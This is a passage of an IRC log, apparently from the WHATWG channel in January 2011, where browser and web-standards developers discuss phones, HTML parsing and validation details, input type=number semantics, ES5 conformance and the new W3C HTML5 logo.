and then I learned that my SIM was broken so I didn't have to buy a new phone

[07:26:06.0000] <jgraham>
hsivonen: Yes, I think it does (Opera)

[07:27:00.0000] <hsivonen>
jgraham: ok

[07:27:01.0000] <annevk>
hsivonen, ah

[07:27:02.0000] <annevk>
hsivonen, yeah, they tested a new SIM first, but it is something with the Phone app on the iPhone apparently

[07:27:03.0000] <hsivonen>
jgraham: does any flavor of Opera Mobile support WebM yet?

[07:27:04.0000] <annevk>
HTC power adapter is also less elegant

[07:28:00.0000] <hsivonen>
annevk: I'm looking forward to your findings on how well a touch UI works with a small screen

[07:28:01.0000] <annevk>
so far it's not too bad

[07:29:00.0000] <annevk>
it gives some kind of feedback by trilling which is really quite nice

[07:30:00.0000] <zcorpan>
hsivonen: http://www.opera.com/docs/specs/productspecs/

[07:30:01.0000] <daedb>
hah, you've got the same phone as I do now (except mine isn't white) :p

[07:30:02.0000] <hsivonen>
I want a small phone that runs Firefox and an e-Ink tablet that runs Firefox. apparently neither device exists.

[07:30:03.0000] <annevk>
Galaxy Tab is quite nice

[07:31:00.0000] <hsivonen>
zcorpan: thanks. so "no"

[07:31:01.0000] <annevk>
they had one in the store and since the waiting times were ridiculous I could play around a bit

[07:31:02.0000] <hsivonen>
annevk: Galaxy Tab sucks in the landscape mode

[07:31:03.0000] <hsivonen>
also, I expect e-Ink to beat LCD for reading

[07:32:00.0000] <annevk>
if you just get very high DPI, will e-Ink still be good?

[07:32:01.0000] <annevk>
because e-Ink is fricking slow

[07:32:02.0000] <annevk>
at least last I looked at it; no way you would get YouTube

[07:33:00.0000] <hsivonen>
as I understand it, the main differentiating factor (apart from slowness and lack of color) is non-glare and no backlight

[07:33:01.0000] <hsivonen>
my tablet needs don't include YouTube

[07:34:00.0000] <hsivonen>
I'm inclined to believe the claims that reading from an LCD right before trying to sleep disrupts sleep

[07:34:01.0000] <hsivonen>
in a way that paper and e-Ink don't

[07:34:02.0000] <annevk>
if I ever had a tablet I would expect to read reddit on it and all what reddit entails

[07:37:00.0000] <hsivonen>
/me wonders what Opera Mobile 10 (general) runs on

[07:37:01.0000] <MikeSmith>
Opera can run on ARM 6

[07:37:02.0000] <MikeSmith>
Opera can be made to run on anything

[07:38:00.0000] <MikeSmith>
it could run on whatever CPU they have in sewing machines

[07:38:01.0000] <MikeSmith>
the original Nintendo DS had a 66 MHz CPU

[07:39:00.0000] <MikeSmith>
and Opera ran on that

[07:39:01.0000] <hsivonen>
MikeSmith: oh, I don't doubt that Opera can be compiled for v6. I was curious if a v6-compatible build ships.

[07:39:02.0000] <MikeSmith>
oh

[07:39:03.0000] <hsivonen>
(I have Opera Mobile 10.1 beta on v6 on N800)

[07:39:04.0000] <Philip`>
Could it run on the Apollo landing computer?

[07:40:00.0000] <annevk>
I guess the other thing that is kind of nice is the size of this phone. It's not as huge as all the others

[07:41:00.0000] <annevk>
Philip`, just have to convince NASA that all bugs are features

[07:42:00.0000] <jgraham>
hsivonen: Did you update the gecko innerHTML serilization algorithm?

[07:43:00.0000] <hsivonen>
jgraham: no

[07:43:01.0000] <jgraham>
hmm

[07:43:02.0000] <hsivonen>
/me now spots the (general) is 10 not 10.1

[07:43:03.0000] <hsivonen>
that makes more sense

[07:44:00.0000] <jgraham>
Seems like neither Chrome nor Fx add a line break before the text in a <pre> (or similar) element in innerHTML

[07:45:00.0000] <hsivonen>
:-(

[07:45:01.0000] <jgraham>
(Or Opera 11)

[07:45:02.0000] <jgraham>
Makes me nervous about changing it…

[07:48:00.0000] <annevk>
I wonder what all the fuss is about with regards to not being able to update Android phones... Is that a US thing?

[07:50:00.0000] <daedb>
annevk: It depends on phone manufacturer... some of them are good, some are bad at offering updates.

[07:51:00.0000] <hsivonen>
annevk: It's not just a U.S. thing

[07:51:01.0000] <hsivonen>
annevk: basically, Google isn't acting like a proper OS vendor but is acting like a whitelabel technology provider as far as updates go

[07:57:00.0000] <hsivonen>
that Google doesn't insist on being able to push OTA Android updates to end users is a bit odd when the Chrome side hypes how they intend to update Chrome OS

[08:03:00.0000] <annevk>
the way they do Chrome is awesome

[08:23:00.0000] <MikeSmith>
the JS Date object needs a few more methods

[08:23:01.0000] <MikeSmith>
42 methods just doesn't seem like enough

[08:32:00.0000] <jgraham>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" ""> is not supposed to be treated as having the system id missing, is it?

[08:36:00.0000] <jwalden>
do gradients have an intrinsic aspect ratio?  http://dev.w3.org/csswg/css3-images/#gradients mentions ratios only in one narrow case, in a way that suggests this wasn't really a deliberate definition

[09:19:00.0000] <gsnedders>
jgraham: Indeed.

[09:20:00.0000] <jgraham>
The system id thing?

[09:20:01.0000] <gsnedders>
Yeah.

[09:20:02.0000] <jgraham>
Who wants webkit bugs?

[09:20:03.0000] <gsnedders>
For the parser? abarth|zZz, IIRC.

[09:20:04.0000] <gsnedders>
Or at least he was one of the people involved in it.

[09:20:05.0000] <jgraham>
abarth|zZz, eric_carlson: You have a bug with not setting the right compatMode where the SYSTEM ID is the empty string

[09:21:00.0000] <eric_carlson>
jgraham: ???

[09:21:01.0000] <jgraham>
/me loves TCs where the failure mode is "screen is blank"

[09:21:02.0000] <jgraham>
eric_carlson: Am I confusing you with someone else?

[09:22:00.0000] <jgraham>
Oh, look at that, I am

[09:22:01.0000] <jgraham>
Sorry

[09:22:02.0000] <eric_carlson>
jgraham: np!

[09:22:03.0000] <jgraham>
I wanted Eric Seidel :)

[09:23:00.0000] <eric_carlson>
jgraham: indeed, another Eric that works on WebKit

[09:25:00.0000] <jgraham>
There should be a limit of one person per unique first name per browser project. A bit like the way the actors guilds require unique names

[09:26:00.0000] <Philip`>
Does added punctuation count as a distinct name?

[09:26:01.0000] <eric_carlson>
fine with me as long as eseidel is willing to change his name :-P

[09:49:00.0000] <AryehGregor>
I'm completely in favor of that rule.

[09:49:01.0000] <AryehGregor>
Actually, I'd like to require it freenode-wide.

[09:49:02.0000] <AryehGregor>
I originally wanted "aryeh" as my nick, but someone else took it.  :(

[09:50:00.0000] <gsnedders>
jgraham: Well, there were multiple people called James at Opera recently :P

[09:52:00.0000] <jgraham>
gsnedders: Exactly. jamesl had to change his name or leave. He left.

[09:56:00.0000] <annevk>
same happened with my namesake

[09:58:00.0000] <gsnedders>
At least there's only one Geoffrey ^^

[10:11:00.0000] <karlcow>
http://al3x.net/2011/01/15/user-hostile-platforms.html

[10:39:00.0000] <Aryeh|use_email>
Public service announcement: I'll be in Israel for about a week, so I might not see anything said here for a long time if ever, even if you mention my name.  Try e-mail instead if you want to contact me.  (I might drop in as AryehGregor from my laptop.)

[10:40:00.0000] <annevk>
have fun

[12:46:00.0000] <a-ja>
TabAtkins: ping (re css3-images / webkit implementation. suggest somewhere else to discuss?)

[13:24:00.0000] <annevk>
one thing someone pointed out to me

[13:25:00.0000] <annevk>
this screen sucks donkey balls compared to the iPhone

[13:26:00.0000] <annevk>
steering away from the politics, eh, Peter`? ;)

[13:26:01.0000] <Peter`>
Yeah

[13:27:00.0000] <annevk>
Peter`, not sure if you saw it the other day, but the quotation marks around your headings, what is the reason for that?

[13:27:01.0000] <Peter`>
I designed my blog

[13:27:02.0000] <Peter`>
that should basically answer your question

[13:27:03.0000] <krijnh>
Oeh, I love that design!

[13:27:04.0000] <krijnh>
Can I download the template somewhere?

[13:28:00.0000] <annevk>
Peter`, haha

[13:28:01.0000] <annevk>
okay

[13:28:02.0000] <krijnh>
I heard HTML5 makes downloading templates a lot easier

[13:28:03.0000] <Peter`>
I'll remove them

[13:28:04.0000] <Peter`>
thar done

[13:28:05.0000] <annevk>
krijnh, HTML5 also saves kittens

[13:28:06.0000] <krijnh>
:o

[13:29:00.0000] <annevk>
every time someone uses HTML5

[13:29:01.0000] <annevk>
God saves a kitten

[13:29:02.0000] <pesla>
And he kills a little puppy.

[13:29:03.0000] <krijnh>
Luckily every time IE crashes, he kills another one

[13:29:04.0000] <annevk>
pesla, ssh

[13:30:00.0000] <pesla>
annevk: I saw it happen!

[13:30:01.0000] <krijnh>
Ow, wait, sorry, God in #whatwg context is of course Hixie.. He doesn't kill kittens nor puppies

[13:31:00.0000] <Hixie>
good grief

[13:31:01.0000] <krijnh>
He talks!

[13:31:02.0000] <pesla>
He kills non-Hixie-conforming specs

[13:32:00.0000] <krijnh>
So Hixie, when do you think this HTML5 thing you came up with is going to fly?

[13:52:00.0000] <karlcow>
http://www.core77.com/blog/technology/using_kinect_mit_media_lab_pulls_off_gesture-based_web_browsing_with_more_on_the_horizon_18276.asp

[13:55:00.0000] <annevk>
that URL looks like a scam

[13:56:00.0000] <annevk>
underscores, random number, weird words, core77.com?!

[13:56:01.0000] <annevk>
ah I see, "design magazine"

[13:57:00.0000] <annevk>
fun video though

[14:05:00.0000] <thiessenp>
HTML5 vs HTML4 - are DOM mutations identical? What I mean is any new behaviour described from DHTML insertions etc. in the HTML5 spec?

[14:05:01.0000] <annevk>
browsers only implement HTML5

[14:06:00.0000] <annevk>
and with regards to mutation events, I think there's still a vague plan to change them

[14:06:01.0000] <annevk>
though whether that'll work out is unclear

[14:07:00.0000] <thiessenp>
any idea where I could read up on this?

[14:08:00.0000] <annevk>
archives of public-webapps

[14:08:01.0000] <annevk>
http://lists.w3.org/Archives/Public/public-webapps/ around November I think

[14:08:02.0000] <annevk>
and maybe before

[14:09:00.0000] <thiessenp>
great thanks (will start reading) but off hand the DOM is currently treated the same way in HTML5 as in HTML4  element.innerHTML,  parent.appendChild  etc.?

[14:11:00.0000] <krijnh>
Ja

[14:11:01.0000] <krijnh>
Er is maar een HTML

[14:40:00.0000] <erlehmann>
is there an easier way to change my subscription mail address to the WHATWG list than stopping to subscribe and resubscribing?

[14:40:01.0000] <erlehmann>
I cannot into mailing lists.

[14:41:00.0000] <Hixie>
i believe the mailman software keys off your e-mail address so you can't change it

[14:41:01.0000] <Hixie>
you have to unsub, resub

[14:41:02.0000] <Hixie>
but that's pretty easy to do

[14:42:00.0000] <erlehmann>
thx. brb

[14:58:00.0000] <erlehmann>
Hixie, is there some processing delay for both unsubcriptions and subscriptions?

[15:00:00.0000] <erlehmann>
forget it.

[15:00:01.0000] <erlehmann>
works :)

[15:21:00.0000] <annevk>
Hixie, pong


2011-01-18
[21:18:00.0000] <heycam>
huh. occasional W3C mailing list contributor http://www.w3.org/Search/Mail/Public/search?keywords=Slim+Amamou now a Minister in the new Tunisian Government after being arrested last month. http://torrentfreak.com/arrested-pirate-party-member-becomes-tunisian-minister-110117/

[21:50:00.0000] <MikeSmith>
wow

[21:50:01.0000] <MikeSmith>
that's pretty cool

[21:51:00.0000] <MikeSmith>
cool name too

[00:32:00.0000] <hsivonen>
how does ES5 distinguish between illegal programs that work in a well-defined way and legal programs that work in a well-defined way?

[00:33:00.0000] <hsivonen>
Suppose one writes "\/"

[00:33:01.0000] <hsivonen>
I see that / doesn't match SingleEscapeCharacter

[00:33:02.0000] <hsivonen>
and I see that the above is therefore equivant with "/"

[00:34:00.0000] <hsivonen>
but what cues should I look for to know it is conforming?

[00:34:01.0000] <hsivonen>
is stuff that "works" always conforming in ES5?

[00:35:00.0000] <hsivonen>
clearly, I can't use JSLint, since it encodes Crockford's opinion--not the spec

[00:36:00.0000] <Hixie>
isn't anything that matches the grammar conforming?

[00:37:00.0000] <Hixie>
and vice-versa?

[00:37:01.0000] <Dashiva>
Working in practice is not a guarantee of being conforming, at least, since browsers aren't always 100% by the spec

[00:39:00.0000] <hsivonen>
Hixie: dunno

[00:39:01.0000] <zcorpan>
2 Conformance just talks about conforming implementations

[00:41:00.0000] <hsivonen>
Hixie: isn't the whole semicolon insertion mechanism based on first hitting an error in the grammar and then magically correcting it?

[00:41:01.0000] <Hixie>
hsivonen: beats me

[00:42:00.0000] <Hixie>
haha, http://lists.w3.org/Archives/Member/w3c-ac-members/2011JanMar/0006.html

[00:42:01.0000] <Hixie>
w3c, ever on time

[00:42:02.0000] <Hixie>
just as we're moving on from html5...

[00:47:00.0000] <zcorpan>
time for s/HTML5 (including next generation additions still in development)/HTML/ ?

[00:48:00.0000] <hsivonen>
zcorpan: not yet, I think

[00:49:00.0000] <erlehmann>
zcorpan, but “HTML” is not buzzword tiem compatible.

[00:49:01.0000] <erlehmann>
“HTML5“, OTOH … !

[00:50:00.0000] <Dashiva>
hsivonen: Semicolon insertion only works once, if there's still an error after insertion it's an invalid program

[00:53:00.0000] <hsivonen>
Dashiva: "invalid program" is not a term defined by ES5

[00:57:00.0000] <Dashiva>
Well, it produces a syntax error

[01:04:00.0000] <zcorpan>
Hixie: is "Event handler content attributes, when specified, must contain valid JavaScript code matching the FunctionBody production. [ECMA262]" correct considering semicolon insertion?

[01:05:00.0000] <Hixie>
zcorpan: yeah, i want to do that again, but i guess the buzzword still has enough life in it... sometime this year, probably.

[01:06:00.0000] <annevk>
http://www.w3.org/Bugs/Public/show_bug.cgi?id=11777 is funny

[01:06:01.0000] <annevk>
/me starts a list of things that happened this week so he won't forget

[01:06:02.0000] <Hixie>
zcorpan: no idea

[01:06:03.0000] <Hixie>
zcorpan: actually, yes, since newlines get lost in attributes

[01:11:00.0000] <zcorpan>
Hixie: what? newlines don't get lost in attributes

[01:11:01.0000] <jgraham>
hsivonen: Surely the practical approach for you is to use the parser component from Rhino and see if it generates an AST?

[01:12:00.0000] <MikeSmith>
you can test it with the validator now

[01:12:01.0000] <MikeSmith>
if you check the value of an event-handler attribute

[01:12:02.0000] <hsivonen>
jgraham: this isn't for V.nu. this is for a person complaining about Mozilla Developer Network documentation about escaping <script> inside <script>

[01:13:00.0000] <jgraham>
hsivonen: pointer?

[01:13:01.0000] <Hixie>
zcorpan: in some UAs, I meant

[01:13:02.0000] <Hixie>
zcorpan: and in XML

[01:13:03.0000] <hsivonen>
jgraham: no public reference

[01:13:04.0000] <hsivonen>
jgraham: oh did you mean the document being complained about?

[01:13:05.0000] <jgraham>
hsivonen: To the MDC page?

[01:14:00.0000] <zcorpan>
Hixie: i don't care about some UAs, i'm talking about whether the spec is correct or has a bug :) for XML you can get newlines in attributes with &#10;

[01:14:01.0000] <hsivonen>
jgraham: https://developer.mozilla.org/en/HTML/HTML5/HTML5_Parser

[01:14:02.0000] <Hixie>
zcorpan: i guess

[01:14:03.0000] <Hixie>
zcorpan: dunno then

[01:14:04.0000] <Hixie>
zcorpan: i'm happy to change it if someone can tell me what it _should_ say

[01:16:00.0000] <jgraham>
hsivonen: I don't understand the complaint

[01:16:01.0000] <jgraham>
I note that '<' + '/script>' will also work for the usual case of a string literal

[01:18:00.0000] <brucel>
'scuse me all. Quick Q about forms. Trying to understand if entering the letter "K" into input type=number should be an error. It's not out of range for a number eg min=1 max=10 but seems to me it should be a type mismatch. However, spec says only email, url can have type mismatch. http://dev.w3.org/html5/spec/Overview.html#suffering-from-a-type-mismatch or am i reading it wrong?

[01:19:00.0000] <zcorpan>
MikeSmith: onclick="(" validates in v.nu

[01:19:01.0000] <Peter`>
brucel, the rule specifically talks about controls which allow arbitrary user input, which <input number> does not

[01:20:00.0000] <MikeSmith>
zcorpan: well that's bad… guess we'll have to fix it

[01:20:01.0000] <MikeSmith>
all it's doing now is handing it straight off to the rhino compiler

[01:20:02.0000] <Peter`>
brucel, constrained input for <input type=number> could be interpreted as "just throw everything away that's not a number" I guess

[01:20:03.0000] <zcorpan>
MikeSmith: got an example where it gives an error?

[01:21:00.0000] <Peter`>
which is what various OS controls do as well

[01:22:00.0000] <MikeSmith>
zcorpan: yeah, that one

[01:22:01.0000] <MikeSmith>
if you try it at http://www.w3.org/html/check

[01:22:02.0000] <zcorpan>
ah

[01:22:03.0000] <MikeSmith>
I guess hsivonen didn't redeploy that code at validator.nu yet

[01:22:04.0000] <MikeSmith>
thought he had on Friday

[01:22:05.0000] <hsivonen>
MikeSmith: ooops. sorry.

[01:23:00.0000] <MikeSmith>
no biggie

[01:23:01.0000] <Hixie>
brucel: the browser will never set the value to "K" even if it displays it in the contrcol

[01:23:02.0000] <Hixie>
control

[01:24:00.0000] <brucel>
Hixie, but should it be a type mismatch?

[01:24:01.0000] <zcorpan>
MikeSmith: cool

[01:24:02.0000] <Hixie>
brucel: should what be a type mismatch?

[01:24:03.0000] <Hixie>
brucel: say you started with <input type=number value=0> and typed K in it. The value is still going to be "0", which is a number -- not a type mismatch.

[01:25:00.0000] <Hixie>
the display might say "K" but what is validated is the value, not the display.

[01:25:01.0000] <brucel>
well, having a type mismatch is defined as "Suffering from a type mismatch: When a control that allows arbitrary user input has a value that is not in the correct syntax (E-mail, URL)."

[01:25:02.0000] <zcorpan>
MikeSmith: next up is checking <script> if the type is javascript? :)

[01:25:03.0000] <MikeSmith>
lord please no

[01:26:00.0000] <MikeSmith>
does the spec require that now?

[01:26:01.0000] <MikeSmith>
it didn't last time I checked

[01:26:02.0000] <Hixie>
brucel: right, so?

[01:26:03.0000] <Hixie>
brucel: type=number doesn't allow arbitrary user input

[01:27:00.0000] <jgraham>
MikeSmith: It would be quite inconsistent if it didn't

[01:27:01.0000] <jgraham>
(so it probably should in any case)

[01:27:02.0000] <MikeSmith>
well, that would be in line with the platform itself

[01:27:03.0000] <MikeSmith>
yeah

[01:27:04.0000] <MikeSmith>
true

[01:27:05.0000] <MikeSmith>
could warn about it at least

[01:27:06.0000] <Hixie>
it should check it against python if the type is python, too :-)

[01:27:07.0000] <Hixie>
and against 80286 assembler if the type is 80286 assembler :-)

[01:27:08.0000] <MikeSmith>
simple warning for that case

[01:28:00.0000] <Hixie>
(but the validator isn't required to support any languages)

[01:28:01.0000] <MikeSmith>
"warning: don't do that"

[01:28:02.0000] <Hixie>
(iirc)

[01:28:03.0000] <annevk>
brucel, what is somewhat difficult, but important here, is that the new form controls have several values

[01:28:04.0000] <MikeSmith>
Hixie: you made it require checking for event-handler attributes

[01:28:05.0000] <zcorpan>
MikeSmith: appears the spec doesn't require <script> to compile

[01:28:06.0000] <brucel>
Hixie anneck: so there can never be a type mismatch for type=number, so to check that the user has entered something numeric, yoiu have to use some regex with pattern attrib, right?

[01:28:07.0000] <annevk>
brucel, a "UI value" (what the user sees), an "actual value" (what the user agent has computed), and maybe things such as a "default value"

[01:29:00.0000] <MikeSmith>
zcorpan: w00t

[01:29:01.0000] <Hixie>
MikeSmith: yeah, well, there's no way to change the language for event handler attributes

[01:29:02.0000] <Hixie>
MikeSmith: so it's not open-ended

[01:29:03.0000] <annevk>
brucel, e.g. for URL the user might see "www.example.org" which is not valid, but the "actual value" might be "http://www.example.org" which is

[01:29:04.0000] <Hixie>
MikeSmith: <script> is open-ended

[01:30:00.0000] <annevk>
brucel, for Number the idea is that you never change it to a non-number, only a number that is not within the range

[01:30:01.0000] <jgraham>
Hixie: So if you specify <script type="text/javascript"> the spec doesn't care if there is a SyntaxError? Why the difference?

[01:30:02.0000] <annevk>
brucel, so if the UI allowed entering K (and displaying it back) (the UI value), the "actual value" would still be a number

[01:31:00.0000] <Hixie>
holy cow, i really didn't require that the <script>'s contents be valid

[01:31:01.0000] <brucel>
annevk so if I have <input type=number> what actually is the number?

[01:31:02.0000] <Hixie>
that's totally bogus

[01:31:03.0000] <Hixie>
/me files a bug

[01:31:04.0000] <SlexAxton>
brucel: ""

[01:31:05.0000] <zcorpan>
Hixie: i already did

[01:31:06.0000] <Hixie>
ah

[01:31:07.0000] <Hixie>
well then

[01:31:08.0000] <MikeSmith>
heh

[01:31:09.0000] <Hixie>
dupes all around!

[01:32:00.0000] <SlexAxton>
/me submits as well

[01:32:01.0000] <annevk>
brucel, well okay, no value is also an option

[01:33:00.0000] <annevk>
brucel, another important thing is that the interaction between the UI value and actual value is up to the user agent, much like all UI decisions

[01:33:01.0000] <phrearch>
hey

[01:33:02.0000] <annevk>
brucel, so entering "K" in the UI could mean erasing the value or could mean not changing the current value, or changing it to zero

[01:33:03.0000] <phrearch>
i was wondering whether there are webkit branches that have some experimental websocket features, like the sony ericsson webcam-over-websocket demo

[01:33:04.0000] <annevk>
brucel, ideally though UI implementations are not that crazy and simply disallow that :)

[01:34:00.0000] <Hixie>
entering "K" could mean setting the value to 1000! :-)

[01:34:01.0000] <brucel>
annevk hixie thanks. Pretty unintuitive so glad  I asked and thx for answering. SO my workaround has to be use a pattern attribute to not accept non-numerics right?

[01:34:02.0000] <annevk>
phrearch, #webkit might be a better channel

[01:34:03.0000] <phrearch>
annevk: ok thanks

[01:34:04.0000] <annevk>
brucel, no

[01:36:00.0000] <annevk>
brucel, pattern="" does not even apply, why would you need it?

[01:36:01.0000] <SlexAxton>
to prevent 'K' - regardless of meaning, I would assume

[01:36:02.0000] <brucel>
annevk want to check that user entered a number = numerics

[01:37:00.0000] <zcorpan>
brucel: the user can't enter anything but a number

[01:37:01.0000] <annevk>
brucel, that is all the user can do per the constraints of the specification (note that the UI value is never exposed to anyone but the user)

[01:39:00.0000] <SlexAxton>
Would it be a bug in chrome if your element starts as <input type=number value=15 /> and if the user deletes the characters in the input the elem.value is still '15' and not '' ?

[01:39:01.0000] <SlexAxton>
or would that conform to spec

[01:39:02.0000] <brucel>
annevk zcorpan OK. So I think I'm getting a soupcon of comprehension. So: the ability to type something non-numeric is a UA decision (it could require you to choose from a spinner, for example). What the user actually type has no relation to the contents of the field. But how to give sensible feedback to the user?

[01:39:03.0000] <annevk>
it could theoretically conform to the spec, but it sounds like a bug in the UI SlexAxton

[01:39:04.0000] <SlexAxton>
kk, will file.

[01:40:00.0000] <annevk>
brucel, the UA should give sensible feedback

[01:40:01.0000] <annevk>
brucel, if the UA has not implemented the control well, there are two options

[01:40:02.0000] <Hixie>
brucel: it's up to the UA to worry about all this

[01:40:03.0000] <Hixie>
brucel: that's the whole point of semantic markup -- you say what you want, and the browser takes care of it

[01:41:00.0000] <annevk>
brucel, a) get the UA fixed; b) wait for the UA to implement something XBL-like and fix it yourself

[01:42:00.0000] <brucel>
gotcha. thanks annvk and hixie

[01:45:00.0000] <MikeSmith>
hsivonen: you looking at section 16 of the EcmaScript spec?

[01:45:01.0000] <annevk>
/me will be back in an hour; is going to attempt working in an office for half a day

[01:46:00.0000] <MikeSmith>
hsivonen: it seems like the spec doesn't so much state the notion of a conforming program at all

[01:46:01.0000] <MikeSmith>
it just says what should be reported as errors

[01:47:00.0000] <MikeSmith>
and "All errors that are not early errors are runtime errors."

[01:47:01.0000] <Hixie>
i guess that's one way to define it

[01:47:02.0000] <Hixie>
ok i should go to bed

[01:47:03.0000] <Hixie>
nn

[01:48:00.0000] <jgraham>
You might have to special-case javascript and say that a program has to be valid after applying automatic semicolon insertion

[01:52:00.0000] <SlexAxton>
well, un semi-colon'd javascript is still valid, no?

[01:58:00.0000] <matjas>
unless you remove a semicolon that’s actually required, yes

[01:59:00.0000] <jgraham>
Not per spec, arguably

[02:01:00.0000] <jgraham>
I mean, if there is no error there is no automatic insertion

[02:02:00.0000] <hsivonen>
jgraham: the complaint is that \u003C!-- is longer than <\!--

[02:03:00.0000] <hsivonen>
MikeSmith, zcorpan: the deployment script has finished now

[02:04:00.0000] <phrearch>
hm, maybe anyone here knows the answer to this? according to http://stackoverflow.com/questions/3806100/websocket-for-binary-transfer-of-data-decode , chrome7+ should support binary transfers over websockets?

[02:04:01.0000] <phrearch>
probably just a rumour, but..

[02:06:00.0000] <hsivonen>
where is "syntax error" defined in ES5?

[02:07:00.0000] <hsivonen>
Hixie: speaking of <script> being open-ended, did you see the emails to public-html-xml over the last 12 hours or so?

[02:07:01.0000] <zcorpan>
phrearch: i'm pretty sure binary messages aren't supported yet

[02:07:02.0000] <Hixie>
hsivonen: i can happily report that i don't read that list

[02:08:00.0000] <phrearch>
aha ok. thanks

[02:08:01.0000] <hsivonen>
Hixie: I see

[02:08:02.0000] <Hixie>
hsivonen: should i read the recent thread?

[02:09:00.0000] <Hixie>
this thread doesn't start in a direction i would assume will lead to me being interested...

[02:09:01.0000] <Hixie>
apparently norm doesn't know about vbscript

[02:11:00.0000] <hsivonen>
Hixie: well, if you want to reply on the topic, then it makes sense to read the thread

[02:11:01.0000] <Hixie>
i can't imagine that i would

[02:11:02.0000] <Hixie>
this tf isn't going to do anything to change the web

[02:12:00.0000] <Hixie>
so it can't improve the web, which is a subset of changing the web

[02:12:01.0000] <Hixie>
and it's not a topic i find personally interesting

[02:12:02.0000] <Hixie>
so there's really not much reason to partake, as far as i can see

[02:14:00.0000] <Hixie>
having now read the whole thread, i can't really see what i would contribute anyway

[02:14:01.0000] <Hixie>
in any case, i really do have to sleep now :-)

[02:14:02.0000] <Hixie>
nn

[02:36:00.0000] <nielsle>
Does planet html5 have a feed where twitter messages are filtered out?

[04:25:00.0000] <annevk>
http://www.w3.org/html/logo/ ?

[04:25:01.0000] <annevk>
via Peter`

[04:26:00.0000] <Peter`>
Is the W3C now officially going widen the definition of "HTML5" to "any (partially) avaialble web technology in 2011"?

[04:27:00.0000] <annevk>
it's not like embrace and extend has not worked before

[04:28:00.0000] <annevk>
I guess it is better to do it yourself than let someone else do it to you

[04:28:01.0000] <Peter`>
Fair point

[04:28:02.0000] <hsivonen>
What's the deal with the military rank symbol for semantics?

[04:29:00.0000] <hsivonen>
The styling symbol looks like military insignia, too.

[04:30:00.0000] <hsivonen>
Sarge Semantics?

[04:30:01.0000] <Peter`>
"If, as W3C hopes, the community embraces the logo, W3C will adopt it as its own official logo for HTML5 in the first quarter of 2011."

[04:31:00.0000] <adactio>
Great. Now the W3C are encouraging people to think of CSS3 as being part of HTML5. I give up.

[04:31:01.0000] <Peter`>
Exactly my thought, telling people it's not true will be a lost cause if this catches on

[04:34:00.0000] <annevk>
Will be interesting to see what the Wikipedia consensus is going to be. Or maybe the flamewars will be more interesting.

[04:34:01.0000] <adactio>
I feel a blog post coming on.

[04:35:00.0000] <jwalden>
/me feels a sudden urge to do some trolling

[04:35:01.0000] <jwalden>
standards nerd catnip

[04:35:02.0000] <annevk>
I encourage laughing instead :)

[04:46:00.0000] <Lachy>
it's not that bad. They are providing separate logos to represent separate feature sets, and the way the logo builder works just seems to illustrate that the technologies all work together.

[04:47:00.0000] <Lachy>
also, the use of "HTML5" as the umbrella term to cover everything is already widespread. That's not a problem that can be solved without a replacement term, and many have been tried and eventually failed over the years

[04:48:00.0000] <annevk>
We already gave up on HTML5 some time ago for things other than marketing. It's called HTML these days.

[04:49:00.0000] <erlehmann>
Can't the HTML5 Super friends adopt the logo, getting spandex suits in the process?

[05:01:00.0000] <karlcow>
/me is discovering http://www.w3.org/html/logo/ 

[05:01:01.0000] <karlcow>
I mean in the logs here

[05:01:02.0000] <annevk>
it's also plastered all over twitter by now

[05:01:03.0000] <karlcow>
annevk: what is that? that twitter thing :)

[05:02:00.0000] <annevk>
it's like the Internet and SMS had a baby

[05:02:01.0000] <Ms2ger>
http://twitter.com/karlcow ;)

[05:03:00.0000] <karlcow>
hehe :) Ms2ger this one is the private one. :) the public one is http://twitter.com/karlpro

[05:04:00.0000] <zcorpan>
private twitter? does not compute

[05:05:00.0000] <karlcow>
zcorpan: reserved to only a few people for comments to people who would be interested by these comments.

[05:07:00.0000] <karlcow>
but if you meant private in the sense not viewable by twitter dragons… I define my level of opacity

[05:07:01.0000] <karlcow>
/me sees http://www.w3.org/QA/2011/01/an_html5_logo

[05:09:00.0000] <zcorpan>
/me already made an html5 logo years ago http://simon.html5.org/valid-html5.png

[05:09:01.0000] <jgraham>
/me wonders who chose "zeldman orange" for the logo

[05:10:00.0000] <karlcow>
Michael Nieling

[05:10:01.0000] <jgraham>
So it's him that I will offend by not liking it? (Not just the orange)

[05:11:00.0000] <zcorpan>
wait, the logo is for selling t-shirts to fund the html5 testsuite?

[05:11:01.0000] <jgraham>
For real?

[05:12:00.0000] <Ms2ger>
As in, everyone who submits a test gets a beer?

[05:12:01.0000] <jgraham>
/me doesn't like that plan

[05:12:02.0000] <jgraham>
(the beer one)

[05:13:00.0000] <karlcow>
jgraham: too many tests? You fear for your liver?

[05:13:01.0000] <zcorpan>
"We are also selling T-shirts and part of the proceeds will support the HTML5 test suite effort." http://www.w3.org/QA/2011/01/an_html5_logo

[05:14:00.0000] <zcorpan>
wonder why they didn't make the logo say "5 > 2"

[05:14:01.0000] <jgraham>
:)

[05:15:00.0000] <Peter`>
The term "W3C" actually is a trending topic on Twitter now

[05:15:01.0000] <Ms2ger>
(Or an equivalent non-alcoholic beverage)

[05:16:00.0000] <Workshiva>
That's a terrible logo

[05:16:01.0000] <jgraham>
Hmm. What non-alcoholic beverage is equivalent to beer?

[05:16:02.0000] <Workshiva>
non-alcoholic beer?

[05:16:03.0000] <jgraham>
Ugh

[05:16:04.0000] <karlcow>
jgraham: That would be budweiser

[05:17:00.0000] <jgraham>
I still don't like this plan

[05:18:00.0000] <Workshiva>
"This Google App Engine application is temporarily over its serving quota. Please try again later. "

[05:19:00.0000] <annevk>
I'll take jgraham's beer

[05:20:00.0000] <jgraham>
This is not getting better :p

[05:23:00.0000] <annevk>
Ms2ger, haha

[05:23:01.0000] <annevk>
(re 11777)

[05:23:02.0000] <Ms2ger>
:)

[05:26:00.0000] <hsivonen>
Philip`: your font subsetter tells me: Too late for "-CA" option at subset.pl line 1.

[05:26:01.0000] <hsivonen>
Philip`: what should I do?

[05:28:00.0000] <hsivonen>
Philip`: it runs if I zap -CA...

[05:32:00.0000] <annevk>
where does HTML5 define what happens with displaying <table><form><tr><td>x ?

[05:32:01.0000] <annevk>
especially the <form>

[05:32:02.0000] <annevk>
it becomes an empty child of <table> per the parser

[05:33:00.0000] <annevk>
it ought to be display:none somehow, right?

[05:34:00.0000] <zcorpan>
in the rendering section

[05:35:00.0000] <annevk>
ooh

[05:35:01.0000] <annevk>
irrespective of CSS rules

[05:35:02.0000] <Ms2ger>
Gecko removed its table>form rule recently, IIRC

[05:36:00.0000] <Philip`>
